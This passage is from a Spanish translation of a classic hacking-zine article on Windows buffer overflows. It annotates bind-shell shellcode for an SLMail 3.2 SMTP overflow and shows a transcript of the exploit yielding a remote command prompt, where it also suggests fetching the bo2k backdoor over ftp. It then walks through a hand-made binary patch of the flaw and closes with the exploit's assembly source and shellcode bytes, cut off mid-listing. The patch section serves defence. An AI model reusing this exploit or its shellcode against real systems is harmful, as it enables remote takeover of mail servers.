esi apuntando a la estructura del socket, y almacenamos el valor de retorno de el procedimiento del socket en ebx asi que no sera destruido por las funciones siguientes. :000001AB 6A10 push 00000010 :000001AD 56 push esi :000001AE 53 push ebx :000001AF FF57EC call [edi-14] Esto simplemente hara una llamada a bind, poniendo nuestro handle de socket y la estructura de socket como parametros. :000001B2 6A02 push 00000002 :000001B4 53 push ebx :000001B5 FF57F0 call [edi-10] Ahora llamamos a listen, el handle de socket como parametro. :000001B8 33C0 xor eax, eax :000001BA 57 push edi :000001BB 50 push eax :000001BC B00C mov al, 0C :000001BE AB stosd :000001BF 58 pop eax :000001C0 AB stosd :000001C1 40 inc eax :000001C2 AB stosd :000001C3 5F pop edi :000001C4 48 dec eax :000001C5 50 push eax :000001C6 57 push edi :000001C7 56 push esi :000001C8 AD lodsd :000001C9 56 push esi :000001CA FF57C0 call [edi-40] Ahora hacemos nuestra primera llamada a CreatePipe, creamos nuestra estructura SECURITY_ATTRIBUTES en edi, y especificamos que los handles de retorno no son heredables. esi recive nuestros handles de lectura y escritura devueltos desde la llamada. :000001CD 48 dec eax :000001CE 50 push eax :000001CF 57 push edi :000001D0 AD lodsd :000001D1 56 push esi :000001D2 AD lodsd :000001D3 56 push esi :000001D4 FF57C0 call [edi-40] Nuestro segundo call a CreatePipe, de nuevo nuestros handles de lectura y escritura son almacenados en esi. :000001D7 48 dec eax :000001D8 B044 mov al, 44 :000001DA 8907 mov dword ptr [edi], eax :000001DC 57 push edi :000001DD FF57C4 call [edi-3C] Hacemos una llamada a GetStartupInfo, la estructura sera almacenada en edi a la cual damos un valor de dimensiones. La estructura necesitara ser modificada. :000001E0 33C0 xor eax, eax :000001E2 8B46F4 mov eax, dword ptr [esi-0C] :000001E5 89473C mov dword ptr [edi+3C], eax :000001E8 894740 mov dword ptr [edi+40], eax :000001EB 8B06 mov eax, dword ptr [esi] :000001ED 894738 mov dword ptr [edi+38], eax :000001F0 33C0 xor eax, eax :000001F2 66B80101 mov ax, 0101 :000001F6 89472C mov dword ptr [edi+2C], eax :000001F9 57 push edi :000001FA 57 push edi :000001FB 33C0 xor eax, eax :000001FD 50 push eax :000001FE 50 push eax :000001FF 50 push eax :00000200 40 inc eax :00000201 50 push eax :00000202 48 dec eax :00000203 50 push eax :00000204 50 push eax :00000205 AD lodsd :00000206 56 push esi :00000207 33C0 xor eax, eax :00000209 50 push eax :0000020A FF57C8 call [edi-38] Sientete totalmente libre para mejorar este codigo quitando algunos bytes, por ejemplo, usando stosd para modificar edi. En estos momentos yo estuve intentando hacer esto _funcionar_, y no me he preocupado de las dimensiones. Con que demonios continuamos? Estamos modificando la estructura startupinfo antes de nuestra llamada a CreateProcess. Reemplazamos StdOutput y StdError con el handle de la escritura final de nuestro primer pipe creado. Despues reemplazamos StdInput con el handle de lectura de nuestro segundo pipe creado. Ponemos al valor de los flags STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES, y ponemos el valor de ShowWindow a SW_HIDE. esi apunta a "cmd.exe" y hacemos la llamada a CreateProcess. :0000020D FF76F0 push [esi-10] :00000210 FF57CC call [edi-34] :00000213 FF76FC push [esi-04] :00000216 FF57CC call [edi-34] CloseHandle es llamada para cerrar el primer handle de lectura y el segundo handle de escritura usados para nuestro StdHandles. :00000219 48 dec eax :0000021A 50 push eax :0000021B 50 push eax :0000021C 53 push ebx :0000021D FF57F4 call [edi-0C] :00000220 8BD8 mov ebx, eax Ahora llamamos a accept y esperamos por una conexion. Almacenamos el handle devuelto en ebx. :00000222 33C0 xor eax, eax :00000224 B404 mov ah, 04 :00000226 50 push eax :00000227 C1E804 shr eax, 04 :0000022A 50 push eax :0000022B FF57D4 call [edi-2C] :0000022E 8BF0 mov esi, eax Aqui creamos un buffer de 1024 bytes con GlobalAlloc, poniendo GMEM_FIXED+GMEM_ZEROINIT el cual retornara un handle que situaremos en esi. :00000230 33C0 xor eax, eax :00000232 8BC8 mov ecx, eax :00000234 B504 mov ch, 04 :00000236 50 push eax :00000237 50 push eax :00000238 57 push edi :00000239 51 push ecx :0000023A 50 push eax :0000023B FF77A8 push [edi-58] :0000023E FF57D0 call [edi-30] :00000241 833F01 cmp dword ptr [edi], 00000001 :00000244 7C22 jl 00000268 Ahora empezamos con lo bueno, esto hace una llamada a PeekNamedPipe para ver si tenemos algunos datos al final de la lectura en el pipe (StdOutput/StdError), si no tenemos que saltar las siguientes funciones de lecturadefichero/envio al mismo tiempo que esperamos un input desde el usuario. edi almacena el numero de bytes leidos, [edi-58] es el handle a la lectura final en el pipe. :00000246 33C0 xor eax, eax :00000248 50 push eax :00000249 57 push edi :0000024A FF37 push dword ptr [edi] :0000024C 56 push esi :0000024D FF77A8 push [edi-58] :00000250 FF57DC call [edi-24] :00000253 0BC0 or eax, eax :00000255 742F je 00000286 Llamamos ReadFile y llenamos nuestro buffer con los datos de la lectura-final del pipe, ponemos los parametros de los bytes relidos desde nuestro llamada mas temprana a PeekNamedPipe. Si la funcion falla, (se salio del command prompt - despues de saltar al final de nuestro shellcode y llamar ExisProcess, el cual killeara el proceso slmail. :00000257 33C0 xor eax, eax :00000259 50 push eax :0000025A FF37 push dword ptr [edi] :0000025C 56 push esi :0000025D 53 push ebx :0000025E FF57F8 call [edi-08] Ahora llamamos a send para :00000261 6A50 push 00000050 :00000263 FF57E0 call [edi-20] :00000266 EBC8 jmp 00000230 Llamamos Sleep y saltamos a PeekNamedPipe. :00000268 33C0 xor eax, eax :0000026A 50 push eax :0000026B B404 mov ah, 04 :0000026D 50 push eax :0000026E 56 push esi :0000026F 53 push ebx :00000270 FF57FC call [edi-04] Este es el punto en el que consseguimos saber si no hay datos en el pipe de lectura, asi que llamamos recv y recibimos el input desde el usuario. :00000273 57 push edi :00000274 33C9 xor ecx, ecx :00000276 51 push ecx :00000277 50 push eax :00000278 56 push esi :00000279 FF77AC push [edi-54] :0000027C FF57D8 call [edi-28] Ponemos el handle de lo escrito al final de nuestro pipe (StdInput), y llamamos WriteFile enviando el buffer desde el usuario. :0000027F 6A50 push 00000050 :00000281 FF57E0 call [edi-20] :00000284 EBAA jmp 00000230 Llamamos Sleep de nuevo y saltamos a PeekNamedPipe. :00000286 50 push eax :00000287 FF57E4 call [edi-1C] :0000028A 90 nop Se salio de la shell asi que llamamos a ExitProcess para limpiar nuestro desorden. Y aqui lo tenemos, control total bajo nuestros dedos. Antes de entrar en la ultima seccion, modificando el ejecutable de nuestro objetivo, dare un reducido ejemplo de el exploit en accion. La propiedad. ~~~~~~~~~~~~~ E:\exploits>slxploit supermax.gen.nz 8376 1234 SLMail (3.2.3113) remote. by Barnaby Jack AKA dark spyrit usage: slxploit e.g. - slxploit host.com 27 1234 waiting for response.... 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here sent.. spawn connection now. Trying 192.168.10.3... Connected to supermax.gen.nz. Escape character is '^]'. Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. E:\Program Files\SLmail\SYSTEM> E:\Program Files\SLmail\SYSTEM>at The service has not been started. E:\Program Files\SLmail\SYSTEM>net start schedule The Schedule service is starting. The Schedule service was started successfully. E:\Program Files\SLmail\SYSTEM>time The current time is: 23:49:36.36 Enter the new time: E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail Added a new job with job ID = 0 E:\Program Files\SLmail\SYSTEM>net view Server Name Remark ------------------------------------------------------------------------------- \\SUPERMAX The command completed successfully. E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99. The message was successfully sent to SUPERMAX. E:\Program Files\SLmail\SYSTEM>exit exit Connection closed by foreign host. Muchas opciones, podrias tambien crear un fichero con comandos de ftp, para bajar bo2k por ejemplo, y usar la consola de ftp de NT. ej. ftp -s:file host. Seccion 3: El remedio. ~~~~~~~~~~~~~~~~~~~~~~ Esto es quizas la seccion mas importante de este manual, y no es simplemente util para evitar vulnerabilidades - la habilidad para poner nuestro propio codigo deja abierta un monton de posibilidades sin fin. Te recomiendo que eches un vistazo a alguna documentacion en formato PE, el libro de Matt Peitreks "Windows 95 System Programming Secrets" tiene una excelente seccion, ademas echa un vistazo a http://msdn.microsoft.com/library/specs/msdn_pecoff.htm para la documentacion de Microsoft. Considerando la siguiente situacion por un minuto: Un gran agujero es encontrado en la gran mayoria de los servidores NT de internet de forma que son vulnerables a acceso remoto al sistema. Microsoft tarda sobre una semana o mas antes de sacar un patch que solucione esto, mientras esto pasa algunas de las mas grandes corporaciones tienen poco que hacer, lo unico que les queda es rezar para que ellos no sean victimas de un ataque, o hacer un cambio de software. Hey, que paso un par de meses despues! :) Hay otra alternativa, patchear el software por ti mismo. Hay 3 cosas que puedes hacer con nuestro codigo propio. 1, Agrega nuestro codigo en un espacio sin usar en una seccion. 2, Incrementa las dimensiones de la ultima seccion. 3, Agrega una nueva seccion. La primera es la tecnica que usaremos, para ver un ejemplo de la segunda tecnica echa un vistazo a mi troyano netstat que estara disponible en http://www.rootkit.com en un futuro cercano. Agregando nuestro propia seccion - al menos para lo que estamos haciendo, no sera necesario, asi que no cubrire esta tecnica en este documento. Ahora necesitamos pensar en el codigo que agregaremos, aqui estan algunas opciones: Agregar nuestro propia rutina de dimensiones de cadena, y imprimir un mensaje de error dependiendo de las dimensiones.. despues saltar funciones asquerosas. Agregar nuestra propia rutina de dimensiones de cadena, y situar un caracter nulo al principio de el buffer dependiendo de las dimensiones, asi que efectivamente el programa creera que no hay input y retornara un mensaje estandard de 'syntax error'. Reemplazar la funcion strcpy con una version que haga un chequeo - i.e.: es lo que debemos haber hecho en primer lugar. Creo que es obvio la ventaja que tomamos, la primera opcion seria demasiado involucrada, la segunda simplemente no es delicada - asi que iremos con la ultima. Lo que pasa en este caso es que lstrcpynA esta en nuestra tabla de importacion de objetivos (si esto no fuese el caso? usariamos la misma tecnica que se mostro en el shellcode - usando la LoadLibrary y GetProcAddress). Usa PE Dump o dumpbin, lo que tengas.. y descarga la tabla de la seccion para slmail.exe, si no has trabajado con el header de PE antes, te explicare un poco como va. Section Table 01 .text VirtSize: 0003F99B VirtAddr: 00001000 raw data offs: 00001000 raw data size: 00040000 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 60000020 CODE MEM_EXECUTE MEM_READ La seccion con la que trabaja es la seccion .text - donde el codigo esta alojado. Podemos ver aqui que el Virtual Size (las dimensiones actuales de el codigo) es algo mas reducido que las dimensiones de los datos raw (la cantidad de espacio que toma actualmente). Asi que si restamos el Virtual Size a las dimensiones de los datos raw : 0x40000 - 0x3f99b = 0x665 Esto nos da sobre 1.6k para jugar, suficiente espacio para lo que queremos hacer. Porque tenemos espacio extra? Porque los compiladores normalmente aumentan las dimensiones para alinear la seccion, lo que nosotros necesitamos :) Usa tu editor hexadecimal, y salta a la direccion 0x4099b (virtual size + offset de los datos raw) y veras que hay un gran numero de bytes nulos, sobre 1.6k ciertamente. Este es un lugar muy bueno para poner nuestro codigo - pero antes de hacerlo.. Necesitamos incrementar el Virtual Size para poner nuestro codigo, a lo mejor tambien incrementamos las mayores dimensiones disponibles, pero esto no sera malo. Tambien necesitamos modificar los flags, como viste la seccion .text es codigo definido, legible y ejecutable. Los valores son los que siguen: IMAGE_SCN_CNT_CODE equ 000000020h IMAGE_SCN_MEM_EXECUTE equ 020000000h IMAGE_SCN_MEM_READ equ 040000000h Para obtener un valor final nosotros OR cada uno de los flags, de lo cual se obtiene resultado en 060000020h. Pero, si deseamos escribir datos en nuestro espacio de codigo, para evitar los defectos de pagina tambien necesitamos hacer la seccion escribible - a lo mejor no tenemos la necesidad, pero de todas formas no sera dificil cambiar los flags. IMAGE_SCN_MEM_WRITE equ 080000000h Asi que OR este valor con 060000020h y obtenemos 0E0000020h. Esto es el nuevo valor que agregaremos al exe. Vuelve al editor hexadecimal y haremos estos cambios de forma permanente, para encontrar el valor del Virtual Size para la seccion .text, simplemente haremos una busqueda para .text y el valor siguiente es el culpable. 000001D0 00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00 .........text... 000001E0 9B F9 03 00 <==== .... Para poner esto al valor maximo reemplazaremos con las dimensiones de los datos raw: 000001E0 00 00 04 00 Y, tambien cambiamos los flags. 000001D0 00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00 .........text... 000001E0 9B F9 03 00 00 10 00 00-00 00 04 00 00 10 00 00 ................ 000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 60 <===== Reemplazamos con nuestro nuevo valor que nos permite escribir en el espacio de codigo: 000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 E0 Rapidamente verificaremos nuestros cambios con PE Dump, podemos obtener lo que esta aqui, obteniendo nuestro codigo ejecutable. Section Table 01 .text VirtSize: 00040000 VirtAddr: 00001000 raw data offs: 00001000 raw data size: 00040000 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: E0000020 CODE MEM_EXECUTE MEM_READ MEM_WRITE Y ahi lo tenemos, nuestro virtual size es igual a las dimensiones de los datos raw, y ahora tambien tenemos el flag escribible. Lo que necesitamos hacer ahora es encontrar la localizacion para saltar a nuestro codigo. 004364AE push edi 004364AF push eax ; we jump here. 004364B0 push esi 004364B1 call ds:lstrcpyA Nos desharemos de la llamada strcpy, y haremos un salto a nuestro codigo en el 'push eax'. Sabemos que nuestro codigo reside en RVA (relative virtual address) 0x4099b asi que haremos nuestro salto. Podemos ensamblar nuestro salto en tasm: jmp $+(04099bh-0364afh) (RVA de nuestro codigo - RVA de la localizacion actual) O, podemos hacerlo directamente desde el debuffer. Haremos esto permanenete con el codigo que sigue: :004364AA 8B742478 mov esi, dword ptr [esp+78] :004364AE 57 push edi :004364AF E9E7A40000 jmp 0044099B ;salta a nuestro codigo * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004409A9(U) | :004364B4 59 pop ecx ;restaura ecx al retornar :004364B5 90 nop :004364B6 90 nop * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004364AF(U) | :0044099B 51 push ecx ;preserva ecx :0044099C 52 push edx ;preserva edx :0044099D E800000000 call 004409A2 * Referenced by a CALL at Address: |:0044099D | :004409A2 5A pop edx ;obtiene eip :004409A3 81EAA2090400 sub edx, 000409A2 ;obtiene la imagen basica :004409A9 81C264110400 add edx, 00041164 ;apunta a strcpyn :004409AF 33C9 xor ecx, ecx :004409B1 B160 mov cl, 60 ;permite 96 bytes :004409B3 51 push ecx :004409B4 50 push eax ;nuestra input :004409B5 56 push esi ;buffer :004409B6 FF12 call dword ptr [edx] ;llamada strcpyn :004409B8 5A pop edx ;restaura edx :004409B9 E9F65AFFFF jmp 004364B4 ;vuelve al programa. Yeah, lo se, W32Dasm - pero hey, es rapido y facil para mostrar el codigo :) El puntero de la pila es basicamente mantenido intacto, asi que no necesitamos preocuparnos de nada con el. Ahora, esto debe solucionar nuestro problema - chequeemos. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn <10 or so lines of x's> Connection closed by foreign host. Uppss, en el slmail el proceso muere. Investiguemos porque? hay otro overflow. Esto es realmente una sorpresa. Bueno, arreglemos este tambien. Un par de rets, y rapidamente encontramos el codigo que produce esto: 00404bb1 mov esi, eax 00404bb3 push edi 00404bb4 push ecx 00404bb5 call [KERNEL32!lstrcpy] edi contiene nuestro input, ecx el buffer. Alla vamos. Pondremos nuestro codigo directamente despues de las primeras modificaciones (0x409be), y killearemos esta llamada strcpy y saltaremos a nuestro codigo en 'push edi'. :00404BB1 8BF0 mov esi, eax :00404BB3 E906BE0300 jmp 004409BE ;salto a nuestro codigo * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004409E0(U) | :00404BB8 90 nop :00404BB9 90 nop :00404BBA 90 nop * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00404BB3(U) | :004409BE 90 nop :004409BF 52 push edx ;preserva edx :004409C0 E800000000 call 004409C5 * Referenced by a CALL at Address: |:004409C0 | :004409C5 5A pop edx ;obtiene eip :004409C6 81EAC5090400 sub edx, 000409C5 ;obtiene la imagen basica :004409CC 81C264110400 add edx, 00041164 ;direccion de strcpyn :004409D2 33C0 xor eax, eax :004409D4 B060 mov al, 60 ;permite 96 bytes :004409D6 50 push eax :004409D7 57 push edi ;input :004409D8 51 push ecx ;buffer :004409D9 FF12 call dword ptr [edx] ;llamada strcpyn :004409DB 5A pop edx ;restaura edx :004409DC C6476000 mov [edi+60], 00 ;corta la maldicion ;input corto, ;si hay ;incluso mas overflows :004409E0 E9D341FCFF jmp 00404BB8 ;retorna al programa. Ahora... 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxx 550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. quit 221 supermax.gen.nz Service Closing Connection closed by foreign host. Y asi esta hecho, 15 minutos de trabajo y hemos arreglado un terrible agujero de seguridad. No hay fuentes? no hay problema. El binario para este reducido parche esta disponible en http://www.beavuh.org, aunque, el patch del fabricante es altamente recomendable. Este te evitara 'break-ins' desde la fecha de lanzamiento de este exploit que viene con este manual, pero hay muchos agujeros 'explotables' en este software - y no hay duda de que despues de leer esto saldran otros exploits. Conclusion. ~~~~~~~~~~~ Windows 9x/NT tiene y tuvo un relativamente facil el producir buffer overflows - el cambio esta por llegar. Aunque algun software "grande" haya sido afectado, las limitaciones del payload y la dependencia del sistema limitan el problema. Es hora de reconocerlo. El hecho de que yo ** ** Navega por el codigo, trabaja con esos registros, y veras los resultados - garantizado. Lucha contra esos que intentan proscribir nuestros metodos, promueve el movimiente open source, y promueve la revelacion de todo - es algo bueno. "Un futuro. Dos opciones. Oponerte a ellos o permitirles destruirnos." -Propagandhi /* se mantienen los creditos en v.o. e integramente por causas obvias */ Greets and thanks. ~~~~~~~~~~~~~~~~~~ neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny, sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh & mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht, ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security.. and everyone else I forgot. El codigo. ~~~~~~~~~~ El codigo en asm viene a continuacion, y el shellcode para el exploit en c si alguien desea portarlo. <++> P55/Win32-overflows/slxploit.asm !e7b4ebd0 ;-------(code)------------------------------------------------------------- ; This is just a shell from an old exploit of mine, so the code is somewhat ; dodgy - and no real error checking. ; Live with it. ; ; The binary is available at http://www.beavuh.org. ; ; To assemble: ; ; tasm32 -ml slxploit.asm ; tlink32 -Tpe -c -x sxlploit.obj ,,, import32 ; ; TASM 5 required! ; ; dark spyrit / barnaby jack .386p locals jumps .model flat, stdcall extrn GetCommandLineA:PROC extrn GetStdHandle:PROC extrn WriteConsoleA:PROC extrn ExitProcess:PROC extrn WSAStartup:PROC extrn connect:PROC extrn send:PROC extrn recv:PROC extrn WSACleanup:PROC extrn gethostbyname:PROC extrn htons:PROC extrn socket:PROC extrn inet_addr:PROC extrn closesocket:PROC .data sploit_length equ 851 sploit: db 065h, 078h, 070h, 06eh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 0ebh, 007h, 090h, 0aah, 01ch, 09ch, 077h, 090h, 090h, 090h db 033h, 0c0h, 050h, 0f7h, 0d0h, 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h db 08bh, 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh db 099h, 010h, 011h, 044h, 0c1h, 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h db 0fch, 033h, 0c9h, 0b1h, 00bh, 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h db 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h, 0abh, 059h, 05ah db 0e2h, 0ech, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 0b3h, 010h, 056h db 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach db 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h db 0abh, 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h db 050h, 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh db 057h, 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h db 0b0h, 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h, 050h, 057h, 056h db 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh, 056h, 0adh, 056h db 0ffh, 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h db 033h, 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h, 047h, 040h, 08bh db 006h, 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h db 02ch, 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h, 050h, 048h, 050h db 050h, 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h db 0ffh, 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h db 053h, 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h db 0e8h, 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h db 0b5h, 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h db 0d0h, 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h db 056h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h db 0c0h, 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh db 057h, 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h db 0ffh, 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach db 0ffh, 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh db 057h, 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh db 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh db 0f6h, 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h db 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh db 0f8h, 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h db 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h db 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h db 0fbh, 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h db 0f8h, 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h db 0ebh, 0fch, 0fah, 0efh, 099h, 09bh, 099h store dw ? db 099h, 099h, 099h db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh db 0b7h, 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh, 00dh, 00ah logo db "SLMail (3.2.3113) remote.", 13, 10 db "by dark spyrit aka Barnaby Jack ",13,10,13,10 db "usage: slxploit ", 13, 10 db "eg - slxploit host.com 27 1234",13,10,0 logolen equ $-logo errorinit db 10,"error initializing winsock.", 13, 10, 0 errorinitl equ $-errorinit derror db 10,"error.",13,10,0 derrorl equ $-derror nohost db 10,"no host or ip specified.", 13,10,0 nohostl equ $-nohost noport db 10,"no port specified.",13,10,0 noportl equ $-noport no_port2 db 10,"no bind port specified.",13,10,0 no_port2l equ $-no_port2 response db 10,"waiting for response....",13,10,0 respl equ $-response reshost db 10,"error resolving host.",13,10,0 reshostl equ $-reshost sockerr db 10,"error creating socket.",13,10,0 sockerrl equ $-sockerr ipill db 10,"ip error.",13,10,0 ipilll equ $-ipill cnerror db 10,"error establishing connection.",13,10,0 cnerrorl equ $-cnerror success db 10,"sent.. spawn connection now.",13,10,0 successl equ $-success console_in dd ? console_out dd ? bytes_read dd ? wsadescription_len equ 256 wsasys_status_len equ 128 WSAdata struct wVersion dw ? wHighVersion dw ? szDescription db wsadescription_len+1 dup (?) szSystemStatus db wsasys_status_len+1 dup (?) iMaxSockets dw 